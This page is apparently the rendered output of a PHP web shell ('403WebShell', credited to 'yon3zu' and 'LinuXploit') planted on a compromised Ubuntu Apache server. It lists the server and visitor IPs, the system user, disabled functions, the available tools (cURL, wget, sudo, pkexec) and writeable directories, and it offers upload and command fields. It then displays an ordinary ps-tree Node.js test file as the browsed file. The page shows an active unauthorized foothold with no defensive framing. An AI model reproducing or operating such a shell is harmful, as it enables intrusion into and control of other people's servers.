Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gavin/workspace/happymandarin/node_modules/ps-tree/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gavin/workspace/happymandarin/node_modules/ps-tree/test/test.js
var path = require('path');
var test  = require('tape');
var chalk = require('chalk');
var cp = require('child_process');
var treeKill = require('tree-kill');
var psTree = require('../');

var red = chalk.red,
    green = chalk.green,
    cyan = chalk.cyan;

var scripts = {
  parent: path.join(__dirname, 'exec', 'parent.js'),
  child: path.join(__dirname, 'exec', 'child.js')
};

test(cyan('Spawn a Parent process which has a Two Child Processes'), function (t) {
  var parent = cp.exec('node ' + scripts.parent, function (error, stdout, stderr) {});

  setTimeout(function () {
    psTree(parent.pid, function (err, children) {
      if (err) { console.log(err); }
      console.log(red('Children: '), children, '\n');
      t.true(children.length > 0, green('✓ There are ' + children.length + ' active child processes'));
      treeKill(parent.pid);
    });

    setTimeout(function () {
      psTree(parent.pid, function (err, children) {
        if (err) { console.log(err); }
        // console.log('Children: ', children, '\n');
        // console.log(' ')
        t.equal(children.length, 0, green('✓ No more active child processes (we killed them)'));
        t.end();
      });
    }, 2000); // give psTree time to kill the processes
  }, 500); // give the child process time to spawn
  // need more time on a slow(or heavy load server). maybe promise.then is better instead of the timeout
});

test(cyan('FORCE ERROR by calling psTree without supplying a Callback'), function (t) {
  var errmsg = 'Error: childrenOfPid(pid, callback) expects callback'
  // Attempt to call psTree without a callback
  try { psTree(1234); }
  catch (e) {
    t.equal(e.toString(), errmsg, green('✓ Fails when no callback supplied (as expected)'))
  }

  t.end();
});


test(cyan('Spawn a Child Process and psTree with a String as pid'), function (t) {
  var child = cp.exec('node ' + scripts.child, function(error, stdout, stderr) {});
  setTimeout(function(){
    psTree(child.pid.toString(), function (err, children) {
      if (err) { console.log(err); }
      // cp.spawn('kill', ['-9'].concat(children.map(function (p) { return p.PID })))
      treeKill(child.pid);
    });

    setTimeout(function() {
      psTree(child.pid.toString(), function (err, children) {
        if (err) { console.log(err); }
        t.equal(children.length, 0, green('✓ No more active child processes'));
        t.end();
      });
    }, 1000); // give psTree time to kill the processes
  }, 200); // give the child process time to spawn
});

Youez - 2016 - github.com/yon3zu
LinuXploit